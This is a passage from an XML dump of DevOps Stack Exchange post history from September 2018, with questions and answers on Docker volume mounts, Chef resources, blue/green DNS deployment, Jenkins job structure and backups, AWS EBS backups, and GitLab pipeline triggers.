branch for each release, cherry pick the features from master that are ready or planned and then tag the branch with a version tag.&#xD;&#xA;&#xD;&#xA;where as a version tag creates a deployment for a commit, release or a RC.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15744" PostHistoryTypeId="2" PostId="4987" RevisionGUID="68457058-5105-4f4d-9740-3c45f91874d6" CreationDate="2018-09-17T07:33:22.883" UserId="9818" Text="I'm packaging and shipping a custom code base of Wordpress with a Dockerfile in to my private container registry. &#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM wordpress:latest&#xD;&#xA;    ADD . /var/www/html&#xD;&#xA;&#xD;&#xA;Then on the deployment server I just use `docker-compose.yml` and grab my custom image. &#xD;&#xA;and also I'm mounting this needed directory to host.&#xD;&#xA;&#xD;&#xA;docker-compose.yml&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      - .:/var/www/html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Container starts and runs without any hustle. However the problem is the code (files, directories) I ported earlier doesn't show on the deployment. Only the official `wordpress:latest` data are there.&#xD;&#xA;&#xD;&#xA;What I'm missing here?  &#xD;&#xA;&#xD;&#xA; - - -&#xD;&#xA; **Another try**&#xD;&#xA;&#xD;&#xA; Then I tried something like this. Instead of directly `ADD . /var/www/html/`, I copied code base to another directory `ADD . /app` on build and on the deployment docker-compose.yml, I tried to `cp -a /app/. /var/www/html` with a `command` parameter. Command and `cp` works. However it happens before `wordpress:latest` script runs and it avoid coping official wordpress files, which I don't want. I expect some official files from `wordpress:latest` to be copied to the `/var/www/html/` then my customer data to be copied from `/app`&#xD;&#xA;&#xD;&#xA;Whats the missing ingredient here?&#xD;&#xA;&#xD;&#xA;However in that case &#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="15745" PostHistoryTypeId="1" PostId="4987" RevisionGUID="68457058-5105-4f4d-9740-3c45f91874d6" CreationDate="2018-09-17T07:33:22.883" UserId="9818" Text="Built codebase doesnt appear after deploying" ContentLicense="CC BY-SA 4.0" />
  <row Id="15746" PostHistoryTypeId="3" PostId="4987" RevisionGUID="68457058-5105-4f4d-9740-3c45f91874d6" CreationDate="2018-09-17T07:33:22.883" UserId="9818" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15747" PostHistoryTypeId="2" PostId="4988" RevisionGUID="1ecafbed-ab2e-4f0e-bfde-7ed5986ce7ed" CreationDate="2018-09-17T07:39:56.337" UserId="13" Text="what you're looking at is a resource declaration, mostly a class taking a block as parameter.&#xD;&#xA;&#xD;&#xA;In ruby the `do code end` syntax is the prefered way over the curly braces syntax `{ code }` which is prefered for inline code.&#xD;&#xA;&#xD;&#xA;So mostly, what you have is the same as:&#xD;&#xA;&#xD;&#xA;    aws_elastic_lb('elb_qa'){ aws_access_key aws[‘aws_access_key_id’]; aws_secret_access_key aws[‘aws_secret_access_key’]; name ‘elb_qa’; action :register }&#xD;&#xA;&#xD;&#xA;In recent version of chef (14.X) the name attribute should be the name of the block (what is just after the resource type (aws_elastic_lb)&#xD;&#xA;&#xD;&#xA;More details in [this SO quastion](https://stackoverflow.com/questions/5587264/do-end-vs-curly-braces-for-blocks-in-ruby) about ruby syntax.&#xD;&#xA;&#xD;&#xA;Concerning Chef itself I highly suggest you follow the tutorials at https://learn.chef.io for a better overview of what is what in cookbooks." ContentLicense="CC BY-SA 4.0" />
  <row Id="15750" PostHistoryTypeId="2" PostId="4989" RevisionGUID="b9bfbfdd-7ac0-4c8f-9e48-54e73a48d16f" CreationDate="2018-09-17T08:36:01.900" UserId="3125" Text="Currently, we have on our test environment an *ECS Cluster* with micro services deployed. All micro services are talking to each other through *Route53* DNS CNAMEs like service1.company.com, service2.company.com, etc.&#xD;&#xA;&#xD;&#xA;Here is a simplified schema of the infra:&#xD;&#xA;[![ECS Cluster for micro services][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/zGnj6.png&#xD;&#xA;&#xD;&#xA;The *ALB* listens on port 80 and everything works fine.&#xD;&#xA;&#xD;&#xA;Now comes the troubles: I'm trying to build a blue/green deployment infra.&#xD;&#xA;&#xD;&#xA;I basically know how to do it (*HAProxies*, 2x *ALBs*, 2x *ECS Clusters*). What I want to acheive can be seen https://www.youtube.com/watch?v=KJOORneBTHI&#xD;&#xA;&#xD;&#xA;I'm stuck with the fact that we are using CNAMEs for our micro services communications.&#xD;&#xA;&#xD;&#xA;- So on the **blue** part:&#xD;&#xA;&#xD;&#xA;CNAME service1.company.com -&gt; ALBBlue&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- On the **green** part:&#xD;&#xA;&#xD;&#xA;CNAME service1.company.com -&gt; ALBGreen&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But that's something I cannot do of course.&#xD;&#xA;&#xD;&#xA;How can I do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15751" PostHistoryTypeId="1" PostId="4989" RevisionGUID="b9bfbfdd-7ac0-4c8f-9e48-54e73a48d16f" CreationDate="2018-09-17T08:36:01.900" UserId="3125" Text="Blue/green deployment with micro services and DNS" ContentLicense="CC BY-SA 4.0" />
  <row Id="15752" PostHistoryTypeId="3" PostId="4989" RevisionGUID="b9bfbfdd-7ac0-4c8f-9e48-54e73a48d16f" CreationDate="2018-09-17T08:36:01.900" UserId="3125" Text="&lt;amazon-web-services&gt;&lt;microservices&gt;&lt;amazon-ecs&gt;&lt;dns&gt;&lt;bluegreen&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15753" PostHistoryTypeId="2" PostId="4990" RevisionGUID="7800b284-1755-4a30-ad39-3a225a42e5fb" CreationDate="2018-09-17T08:42:52.423" UserId="13" Text="You should have 3 names when you're willing to do a blue/green deployment.&#xD;&#xA;&#xD;&#xA;Two set of names, one for blue, one for green, which will works as is, and a production entrypoint which will point to either the blue name or green name.&#xD;&#xA;&#xD;&#xA;The point of a blue/green deployment is to be able to test the full deploy before switching the clients entry point, so your services calls themselves don't have to use the entry point name itself." ContentLicense="CC BY-SA 4.0" />
  <row Id="15754" PostHistoryTypeId="2" PostId="4991" RevisionGUID="68fb4bb6-344d-48f6-89cb-821ed233c377" CreationDate="2018-09-17T08:52:36.597" UserId="9560" Text="Following Tensiblai's guidance, I found this documentation explaining the parts comprising a resource:&#xD;&#xA;&#xD;&#xA;see: [https://docs.chef.io/resource.html][1]&#xD;&#xA;&#xD;&#xA;&gt; A resource is a Ruby block with four components: a type, a name, one&#xD;&#xA;&gt; (or more) properties (with values), and one (or more) actions. The&#xD;&#xA;&gt; syntax for a resource is like this:&#xD;&#xA;&#xD;&#xA;    type 'name' do&#xD;&#xA;       attribute 'value'&#xD;&#xA;       action :type_of_action&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/resource.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="15760" PostHistoryTypeId="2" PostId="4994" RevisionGUID="fcbc2f84-7140-437c-911a-f6cfd0b032e8" CreationDate="2018-09-17T15:42:42.033" UserId="9775" Text="1. Following command line if you plan to run the same application in both a headless and a traditional environment: [more details](http://www.oracle.com/technetwork/articles/javase/headless-136834.html)&#xD;&#xA;&#xD;&#xA; `java -Djava.awt.headless=true`&#xD;&#xA;&#xD;&#xA;2. You can add environment variable in Jenkins configurations&#xD;&#xA; Manage Jenkins -&gt; Configure System -&gt; Global Properties -&gt; Environment Variables section As: &#xD;&#xA;Name :  DISPLAY&#xD;&#xA;Value:   0&#xD;&#xA;&#xD;&#xA;3. Installing Jenkins master as a Windows service. This will run browser in other users account to get rid from this do following things:&#xD;&#xA;   &#xD;&#xA;  3.1 Go to your services and stop Jenkins service. To see all your services run &#xD;&#xA;   services.msc, from there find Jenkins service and disable\stop it.&#xD;&#xA; &#xD;&#xA;  3.2 Go to jenkins home directory(`C:\Program Files(x86)\Jenkins`) and start &#xD;&#xA;   cmd with administrator mode and hit&#xD;&#xA;    `java -jar jenkins.war`&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="15765" PostHistoryTypeId="2" PostId="4996" RevisionGUID="8fd1c70b-4879-43db-b1b8-dc5a4f157381" CreationDate="2018-09-17T19:02:03.817" UserId="9834" Text="I've never done any CI work before, so I'm struggling to decide how to set up Jenkins as my first project at my new job.&#xD;&#xA;&#xD;&#xA;From what I (sort of) understand:&#xD;&#xA;&#xD;&#xA;* Jobs are the generic work unit&#xD;&#xA;&#xD;&#xA;* Pipelines are like a job but are defined from  a series of steps from  scripts stored in a VCS repo&#xD;&#xA;&#xD;&#xA;* Matrix is like a job, but you can define axes to execute commands across&#xD;&#xA;&#xD;&#xA;The basic setup for my project is 2 git repositories serving 3 platforms (one Windows, one Mac/Unix), each of which has 3 branches for different phases (so 9 builds total). The team wants something that will automate builds from each branch as things are committed to them, and then run some tests (which I'm also going to write). There are 2 machines dedicated to each branch. This will not include any kind of general deployment. It'll only be to the test machines.&#xD;&#xA;&#xD;&#xA;I've set up a Jenkins master server that each branch stack connects to. I have 3 jobs set up at the moment targets a label I've assigned to the test machines, since I'm just testing with one branch for each platform. Each job uses the &quot;run script&quot; option, and contains something like: &#xD;&#xA;&#xD;&#xA;    # sets up the required authentication&#xD;&#xA;    $SLAVE_HOME/pre-build.sh&#xD;&#xA;    &#xD;&#xA;    # then run the build script&#xD;&#xA;    ./build.sh&#xD;&#xA;    &#xD;&#xA;    # then a post-build/install script that automates installation of the packages,&#xD;&#xA;    # runs the product, and verifies it's started properly.&#xD;&#xA;    $SLAVE_HOME/install.sh&#xD;&#xA;&#xD;&#xA;The scripts are unique to platform, and may eventually be unique to branch depending on if build steps change&#xD;&#xA;&#xD;&#xA;I'll also need to integrate testing at some point - I'm planning to try using SikuliX for mac/unix and either that or Selenium+Winium for Windows. This will include aggregating results and build status to post on a not-yet-written monitoring page. That will add another couple platform-specific &quot;global&quot; steps.&#xD;&#xA;&#xD;&#xA;Setting up 9 jobs that are very similar feels like I'm doing something wrong. I've considered a matrix per platform with branch axis, but I'll also need to report on build status/outputs, and having 6 outputs tied into one job might be problematic. Tests may also differ between branches as features are changed." ContentLicense="CC BY-SA 4.0" />
  <row Id="15766" PostHistoryTypeId="1" PostId="4996" RevisionGUID="8fd1c70b-4879-43db-b1b8-dc5a4f157381" CreationDate="2018-09-17T19:02:03.817" UserId="9834" Text="Jenkins pipelines vs matrix vs multiple jobs for multiple branches across multiple platforms" ContentLicense="CC BY-SA 4.0" />
  <row Id="15767" PostHistoryTypeId="3" PostId="4996" RevisionGUID="8fd1c70b-4879-43db-b1b8-dc5a4f157381" CreationDate="2018-09-17T19:02:03.817" UserId="9834" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15768" PostHistoryTypeId="2" PostId="4997" RevisionGUID="51ebac21-81b0-496b-b8ca-063712d2e368" CreationDate="2018-09-17T19:18:41.000" UserId="8332" Text="I assume you've created your nginx ingress controller in it's own namespace? By default it's called `ingress-nginx`.&#xD;&#xA;&#xD;&#xA;You can create your second Nginx Ingress controller in a seperate namespace so that it's logically isolated from your first. You'll need to give it a different name, but I see no reason why you can't do that.&#xD;&#xA;&#xD;&#xA;Doing so will spin up a seperate AWS ELB, which you can then map to your new DNS record and then you can slowly migrate your services over." ContentLicense="CC BY-SA 4.0" />
  <row Id="15769" PostHistoryTypeId="2" PostId="4998" RevisionGUID="a1438d2f-b23b-4455-8407-51d82a78dfa8" CreationDate="2018-09-17T19:44:10.857" UserId="9838" Text="You can use the Jenkins pipeline (Jenkinsfile) to run the multiple branches in multiple stages, with the conditional 'IF'.&#xD;&#xA;Below is an example from Jonico. I always use this example to create continuous delivery of moniliary applications.&#xD;&#xA;https://gist.github.com/jonico/e205b16cf07451b2f475543cf1541e70" ContentLicense="CC BY-SA 4.0" />
  <row Id="15770" PostHistoryTypeId="5" PostId="4998" RevisionGUID="415869b0-ce1d-41da-8831-e210a31fa21c" CreationDate="2018-09-17T20:13:29.443" UserId="9838" Comment="added 2 characters in body" Text="You can use the Jenkins pipeline (Jenkinsfile) to run the multiple branches in multiple stages, with the conditional 'IF'.&#xD;&#xA;Below is an example from Jonico. I always use this example to create continuous delivery of monolithic  applications.&#xD;&#xA;https://gist.github.com/jonico/e205b16cf07451b2f475543cf1541e70" ContentLicense="CC BY-SA 4.0" />
  <row Id="15771" PostHistoryTypeId="2" PostId="4999" RevisionGUID="4dd736cf-0f25-4b27-9a76-c9eb8e6144a7" CreationDate="2018-09-17T21:21:37.383" UserId="9838" Text="You can create a release process to manage deployments in your environments.&#xD;&#xA;A plugin that can help you is the [maven-release-plugin][1], where you 'freeze' the package and can promote them between environments (DEV -&gt; UAT -&gt; PROD). This ensures that the artifact (package) is exactly the same as the Production environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://maven.apache.org/maven-release/maven-release-plugin/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15772" PostHistoryTypeId="2" PostId="5000" RevisionGUID="b463698b-046b-41f3-a7ac-3a2fae452db6" CreationDate="2018-09-17T21:22:16.210" UserId="9842" Text="Alongside Vagrant, you could use the old school Legacy 'Docker Toolbox' instead of 'Docker for Windows'. That means Docker will be slow since its running in a Linux VM I believe.&#xD;&#xA;https://docs.docker.com/toolbox/toolbox_install_windows/&#xD;&#xA;Other than that, yes I have been restarting my computer everything i need HyperV for Docker or remove it when i want vagrant." ContentLicense="CC BY-SA 4.0" />
  <row Id="15775" PostHistoryTypeId="2" PostId="5003" RevisionGUID="3e1632d2-d791-487c-9bb9-62c156ead6c8" CreationDate="2018-09-17T23:17:15.250" UserId="4115" Text="To be honest, I'm not sure exactly what your question is here (StackExchange sites usually work best when you formulate your post as a single question rather than just generally asking for help).  So I'm going to attempt to address what appears to be your main issue:&#xD;&#xA;&#xD;&#xA;&gt; Setting up 9 jobs that are very similar feels like I'm doing something wrong. I've considered a matrix per platform with branch axis, but I'll also need to report on build status/outputs, and having 6 outputs tied into one job might be problematic. Tests may also differ between branches as features are changed.&#xD;&#xA;&#xD;&#xA;This is where [Shared Libraries](https://jenkins.io/doc/book/pipeline/shared-libraries/) come in.  Jenkins Shared Libraries allow you to refactor common code into their own individual repositories outside of your project repos.  This allows you to treat your Pipeline code, or snippets of your Pipeline code, as independently-versioned libraries.&#xD;&#xA;&#xD;&#xA;For instance, my team has 150+ repos which require near-identical Pipelines.  Instead of synchronizing 150 Jenkinsfiles, I have one Shared Library which is used by all of these repos to run tests and deploys." ContentLicense="CC BY-SA 4.0" />
  <row Id="15779" PostHistoryTypeId="50" PostId="4332" RevisionGUID="40ac8620-d137-44ac-9218-fd8d640a5b9d" CreationDate="2018-09-18T07:00:44.383" UserId="-1" />
  <row Id="15780" PostHistoryTypeId="5" PostId="4994" RevisionGUID="08b91166-83e0-44b9-91b7-c4939715ee19" CreationDate="2018-09-18T07:09:29.883" UserId="9775" Comment="added 257 characters in body" Text="1. Following command line if you plan to run the same application in both a headless and a traditional environment: [more details](http://www.oracle.com/technetwork/articles/javase/headless-136834.html)&#xD;&#xA;&#xD;&#xA; `java -Djava.awt.headless=true`&#xD;&#xA;&#xD;&#xA;2. You can add environment variable in Jenkins configurations&#xD;&#xA; Manage Jenkins -&gt; Configure System -&gt; Global Properties -&gt; Environment Variables section As: &#xD;&#xA;Name :  DISPLAY&#xD;&#xA;Value:   0&#xD;&#xA;&#xD;&#xA;3. Installing Jenkins master as a Windows service. This will run browser in other users account to get rid from this do following things:&#xD;&#xA;   &#xD;&#xA;  3.1 Go to your services and stop Jenkins service. To see all your services run &#xD;&#xA;   services.msc, from there find Jenkins service and disable\stop it.&#xD;&#xA; &#xD;&#xA;  3.2 Go to jenkins home directory(`C:\Program Files(x86)\Jenkins`) and start &#xD;&#xA;   cmd with administrator mode and hit&#xD;&#xA;    `java -jar jenkins.war`&#xD;&#xA;&#xD;&#xA; if still your problem persist go through following threads&#xD;&#xA;[1. for as service](https://github.com/DevExpress/testcafe/issues/1673),  &#xD;&#xA;&#xD;&#xA;[2.  for general queries](https://stackoverflow.com/questions/9618774/jenkins-selenium-gui-tests-are-not-visible-on-windows)" ContentLicense="CC BY-SA 4.0" />
  <row Id="15782" PostHistoryTypeId="2" PostId="5005" RevisionGUID="7660dd64-bb59-4d89-ac43-377aaf757913" CreationDate="2018-09-18T07:33:39.263" UserId="9850" Text="AWS provides backup functionality for RDS databases and snapshots functionality for EBS volumes.&#xD;&#xA;&#xD;&#xA;Given a small amount of data, would the backup and restore time change depending on whether it's stored on a large disk or a small one?&#xD;&#xA;&#xD;&#xA;In case you are asking yourself why one would put a small amount of data on a large disk: EBS gp2 volumes offer more IOPS (IO operations) with more storage (3 IOPS per 1 GB). So if you need a disk with plenty of IO operations but little persistent data, you might end up with a few megs of data sitting on a 1000 GB disk.&#xD;&#xA;&#xD;&#xA;If my assumption that backups might take longer for larger disks is true, then it might be worth deciding for the more expensive io1 disk type instead, which can scale with up to 50 IOPS per GB." ContentLicense="CC BY-SA 4.0" />
  <row Id="15783" PostHistoryTypeId="1" PostId="5005" RevisionGUID="7660dd64-bb59-4d89-ac43-377aaf757913" CreationDate="2018-09-18T07:33:39.263" UserId="9850" Text="Do AWS backups of large empty volumes take longer than small ones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15784" PostHistoryTypeId="3" PostId="5005" RevisionGUID="7660dd64-bb59-4d89-ac43-377aaf757913" CreationDate="2018-09-18T07:33:39.263" UserId="9850" Text="&lt;amazon-web-services&gt;&lt;amazon-ebs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15785" PostHistoryTypeId="6" PostId="4980" RevisionGUID="1288259d-a81b-4d3a-afbf-f251b3098661" CreationDate="2018-09-18T08:56:22.120" UserId="228" Comment="edited tags" Text="&lt;terminology&gt;&lt;infrastructure&gt;&lt;complexity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15786" PostHistoryTypeId="2" PostId="5006" RevisionGUID="74b23ed1-df77-46de-bca9-b12b8975d382" CreationDate="2018-09-18T09:05:35.237" UserId="9818" Text="Well after some research, it seems the initial issue was caused by the volume mount configuration in the host's docker-compose.yml&#xD;&#xA;&#xD;&#xA;Even I put below line on build `Dockerfile` which copies the files to the given path&#xD;&#xA;&#xD;&#xA;    ADD . /var/www/html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Since the host's docker-compose.yml got line like below&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;        - .:/var/www/html  &#xD;&#xA;&#xD;&#xA;The container mounting this directory as a new directory to it's Unix like filesystem. So it masks the underlying files.&#xD;&#xA;So on the file system its a new directory and doesn't represent the underlying files. Basically its empty.&#xD;&#xA;This [Github issue][1] confirms this. &#xD;&#xA;&#xD;&#xA;Then it runs the `wordpress:latest`'s `docker-entrypoint.sh`&#xD;&#xA;Which set `/var/www/html` as the working directory and if it doesn't contain `index.php` and `wp-includes/version.php` (obviously it doesn't due to above matter, directory is new) inside, it downloads and extract WordPress source to this directory. That's why after the mount, my old bundled data wasn't there. &#xD;&#xA;&#xD;&#xA;So I was basically tried to do something which was not intended. &#xD;&#xA;&#xD;&#xA;As @Jeremy commented,  &#xD;&#xA;&#xD;&#xA;&gt; as /var/www/html? It sounds like your mount is failing - and that the&#xD;&#xA;&gt; ADD Is superfluous&#xD;&#xA;&#xD;&#xA;- - - -&#xD;&#xA;**Another try** Was totally wrong. Because I was adding a custom `ENTRYPOINT` script to my build `Dockerfile`, so it keeps ignoring the base image `wordpress`'s `ENTRYPOINT` and `CMD` that's why it wasn't copy new source to the directory. &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/4361" ContentLicense="CC BY-SA 4.0" />
  <row Id="15787" PostHistoryTypeId="2" PostId="5007" RevisionGUID="8232510c-af61-4fdc-a50f-5077ac298ec7" CreationDate="2018-09-18T11:37:35.823" UserId="7691" Text="The short answer is &quot;it depends&quot;. Rancher itself runs using system-docker and the docker instances it starts for you, such as gitlab-runner are run separately in regular docker. Gitlab-runner then will start runners depending on *its* configuration: &#xD;&#xA;&#xD;&#xA;&gt; There are three methods to enable the use of... docker run during&#xD;&#xA;&gt; jobs; each with their own tradeoffs.&#xD;&#xA;&#xD;&#xA;https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#runner-configuration&#xD;&#xA;&#xD;&#xA;**My eventual solution**&#xD;&#xA;&#xD;&#xA;I'd initially installed Rancher 1.6 and just [couldn't get the dependencies working][1] (Rancher OS running Rancher 1.6 and Rancher agent running on a couple of Alpine nodes). &#xD;&#xA;&#xD;&#xA;The upgrade to Rancher v2 was a steep learning curve as you need to learn the Kubernetes ecosystem tooling (helm, kubectl, etc). I still couldn't get a gitlab-runner working under Rancher v2, but **upgrading to v2.0.8 fixed it**. I could add the custom helm chart for gitlab-runner and after cribbing the settings from https://gitlab.com/charts/gitlab-runner/blob/master/values.yaml I could get gitlab-runner working under Rancher v2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/rancher/rancher/issues/13662" ContentLicense="CC BY-SA 4.0" />
  <row Id="15792" PostHistoryTypeId="50" PostId="3081" RevisionGUID="24857a11-4e62-4dbf-85be-efcf49c38240" CreationDate="2018-09-18T20:00:14.833" UserId="-1" />
  <row Id="15797" PostHistoryTypeId="2" PostId="5010" RevisionGUID="4c3fc861-cb90-4dbf-92d3-67519b1c6b67" CreationDate="2018-09-18T22:34:07.877" UserId="8387" Text="This is a general question, but couldn't find a better place to ask. I'm a new DevOps member in a company, and I've been ask to &quot;update&quot; our DevOps technologies. &#xD;&#xA;&#xD;&#xA;Generally speaking, in what areas do we need to provide tools, and what are some latest and advanced technologies/tools to do that?&#xD;&#xA;&#xD;&#xA;For instance, we need container management (e.g. `docker, kubernetes`), log analysis (e.g. `ELK Stack`), Application monitoring (e.g. `JMX`), `Weblogic`, database management, `Jenkins`, etc.? &#xD;&#xA;&#xD;&#xA;What else, and what tools? Which processes are probably needed to be automated? It can be anything. I just need some advice. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15798" PostHistoryTypeId="1" PostId="5010" RevisionGUID="4c3fc861-cb90-4dbf-92d3-67519b1c6b67" CreationDate="2018-09-18T22:34:07.877" UserId="8387" Text="DevOps tools and automation of manual processes" ContentLicense="CC BY-SA 4.0" />
  <row Id="15799" PostHistoryTypeId="3" PostId="5010" RevisionGUID="4c3fc861-cb90-4dbf-92d3-67519b1c6b67" CreationDate="2018-09-18T22:34:07.877" UserId="8387" Text="&lt;amazon-web-services&gt;&lt;deployment&gt;&lt;containers&gt;&lt;automation&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15801" PostHistoryTypeId="2" PostId="5011" RevisionGUID="b19ed32d-6912-490c-bbfb-a3b377d96167" CreationDate="2018-09-19T07:10:32.027" UserId="4175" Text="Alright... you're not going to implement every tool or automation at the same time, as some of them have quite deep impact on your development processes (and I daresay, development culture). Take a step-by-step approach; research each individual tool. Figure out what it actually does, what it is useful for. Play around with them, install them locally, go through tutorials, and see what they do, or whip up a quick VM somewhere (AWS, etc.) if you need more than one.&#xD;&#xA;&#xD;&#xA;Then, take a look at the work your team/company is doing right now. What *are* the manual process you wish to automate? Ideas should spring up pretty quickly.&#xD;&#xA;&#xD;&#xA;A nice, simple(-ish), bog-standard stack to start out with:&#xD;&#xA;&#xD;&#xA;- Vagrant to automate setting up VMs for your developers, or test environments.&#xD;&#xA;- Ansible to automate configuration management (relatively lightweight compared with Chef or Puppet)&#xD;&#xA;- Gitlab or Jenkins as your automated CI/CD driver, mostly depending on taste&#xD;&#xA;- Docker for your containers&#xD;&#xA;- docker-compose, docker-swarm, Kubernetes, OpenShift to automate container deployment&#xD;&#xA;- ELK or Splunk for your logging/monitoring, again depending on taste&#xD;&#xA;&#xD;&#xA;Have fun!" ContentLicense="CC BY-SA 4.0" />
  <row Id="15802" PostHistoryTypeId="2" PostId="5012" RevisionGUID="a94dba2a-8361-41fe-aab9-8307499566f1" CreationDate="2018-09-19T07:29:23.870" UserId="707" Text="@Tina J, and welcome to Stack SE!&#xD;&#xA;&#xD;&#xA;While DevOps is not, self-purposed, maybe it is worth to find out the actual problem before trying out solutions.&#xD;&#xA;&#xD;&#xA;As you have asked a more or less generic question, I'll stick more to methodology rather than give you a list of tools.&#xD;&#xA;&#xD;&#xA;* Why did they ask you to update DevOps techologies?&#xD;&#xA;* What is the business objective i.e. what will change after you are done - find out the management perspective. Will be software delivered faster/in shorter periods, or are deployment problems a real issue?&#xD;&#xA;* If there is an update of DevOps technologies, what is the current [DevOps toolchain][1] (please read on this Wikipedia article to understand families of tools by their purpose in the toolchain) your colleagues use? And which team members have knowledge of which of these tools?&#xD;&#xA;* What are technically software products your manufacture and deliver?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now you know the problems and the existing toolchain and products it produces:&#xD;&#xA;&#xD;&#xA;* Are there now some quick fixes to achieve quick results or do you need more time to analyze data you have now, and find answers to questions you have to the team and management?&#xD;&#xA;* Which tools do you think are missing and how which change would bring the company closer to the set objective?&#xD;&#xA;* Will be free open source tools enough or some enterprise licenses could be required?&#xD;&#xA;* Is it possible to design a DevOps strategy and generate iterative tasks to deliver changes and improve the situation in baby steps ([design thinking][2] with your team as end users or do you have a complex situation in large enterprise - [system thinking][3])?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Design_thinking&#xD;&#xA;  [3]: https://searchcio.techtarget.com/definition/systems-thinking&#xD;&#xA;&#xD;&#xA;Side note: regarding to container management, depending on existing expertise you might consider using a solution bundling Kubernetes, e.g. OpenShift as already mentioned or RancherLabs etc. Regarding Jenkins, after you know what is happening, skip through its plugins, Jenkins-as-is is just a beginning." ContentLicense="CC BY-SA 4.0" />
  <row Id="15807" PostHistoryTypeId="2" PostId="5013" RevisionGUID="51c26b43-d2bd-45bb-a1d2-d5609d95a991" CreationDate="2018-09-19T08:49:12.867" UserId="9323" Text="As [Tensibai][1] mentioned in the comment - better way is backup you Jenkins instance before an update&#xD;&#xA;&#xD;&#xA;There are different ways to do this:&#xD;&#xA;&#xD;&#xA;Plugins&#xD;&#xA;==============&#xD;&#xA;&#xD;&#xA;Jenkins has a lot of backup plugins, most popular is:&#xD;&#xA;&#xD;&#xA;[PeriodicBackup Plugin][2] - be aware, has status `This plugin is up for adoption` right now, that means there is can be lack of support&#xD;&#xA;&#xD;&#xA;[thinBackup Plugin][3] - the same about current status of plugin&#xD;&#xA;&#xD;&#xA;[SCM Sync configuration plugin][4] - see attention on the plugin page, this is deprecated plugin, the suggestion about **migrate their jobs to [Pipeline Plugin][5]** and **use the [Configuration as Code Plugin][6]** also make sense&#xD;&#xA;&#xD;&#xA;All of them easy to use, also you can [discovery any Jenkins plugin here][7]&#xD;&#xA;&#xD;&#xA;Your own solution&#xD;&#xA;==============&#xD;&#xA;&#xD;&#xA;Jenkins has good structure for backup, it is not hard to understand what exactly you need to backup and how.&#xD;&#xA;&#xD;&#xA;You can write script\job with simple steps `copy`, `archive`, `move` to achieve backup of your Jenkins.&#xD;&#xA;&#xD;&#xA;More information and discussion about how to backup jenkins can be found here: https://devops.stackexchange.com/questions/21/how-do-you-back-up-jenkins-jobs-master-configs&#xD;&#xA;&#xD;&#xA;As for me&#xD;&#xA;-----------------&#xD;&#xA;I'm using `Periodic Backup` plugin + my own scripts for transfering backups into different places. But this plugin is not really stable and has opened issues, so i'm not recommend this for highload production use. That's fine for personal not-critical systems. Now I decided to migrate to my own solution with simple job to archive and copy all configs of my Jenkins instances. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/13/tensibai&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/PeriodicBackup+Plugin&#xD;&#xA;  [3]: https://wiki.jenkins.io/display/JENKINS/thinBackup&#xD;&#xA;  [4]: https://wiki.jenkins.io/display/JENKINS/SCM+Sync+configuration+plugin&#xD;&#xA;  [5]: https://wiki.jenkins.io/display/JENKINS/Pipeline+Plugin&#xD;&#xA;  [6]: https://wiki.jenkins.io/display/JENKINS/Configuration+as+Code+Plugin&#xD;&#xA;  [7]: https://plugins.jenkins.io" ContentLicense="CC BY-SA 4.0" />
  <row Id="15808" PostHistoryTypeId="2" PostId="5014" RevisionGUID="4524aec1-fe50-4d3f-89d3-68d75a87cb56" CreationDate="2018-09-19T11:53:54.113" UserId="9873" Text="I am trying to call a trigger on one GitLab project using a job on another. &#xD;&#xA;&#xD;&#xA;Let’s call one A, and the other B. I want a job in A to trigger a job in B.&#xD;&#xA;&#xD;&#xA;In A, this is what my `.gitlab-ci.yml` looks like:&#xD;&#xA;&#xD;&#xA;    deploy:staging:&#xD;&#xA;      image: alpine&#xD;&#xA;      variables:&#xD;&#xA;        GIT_STRATEGY: none&#xD;&#xA;      script:&#xD;&#xA;        - apk add --no-cache curl&#xD;&#xA;        - curl -X POST -F &quot;token=$CI_JOB_TOKEN&quot; -F &quot;ref=$CI_COMMIT_REF_NAME&quot; https://gitlab.com/api/v4/projects/1234/trigger/pipeline&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In B, this is what my `.gitlab-ci.yml` looks like:&#xD;&#xA;&#xD;&#xA;    image: google/cloud-sdk&#xD;&#xA;&#xD;&#xA;    deploy:staging:&#xD;&#xA;      only:&#xD;&#xA;        - triggers&#xD;&#xA;      script:&#xD;&#xA;        - echo 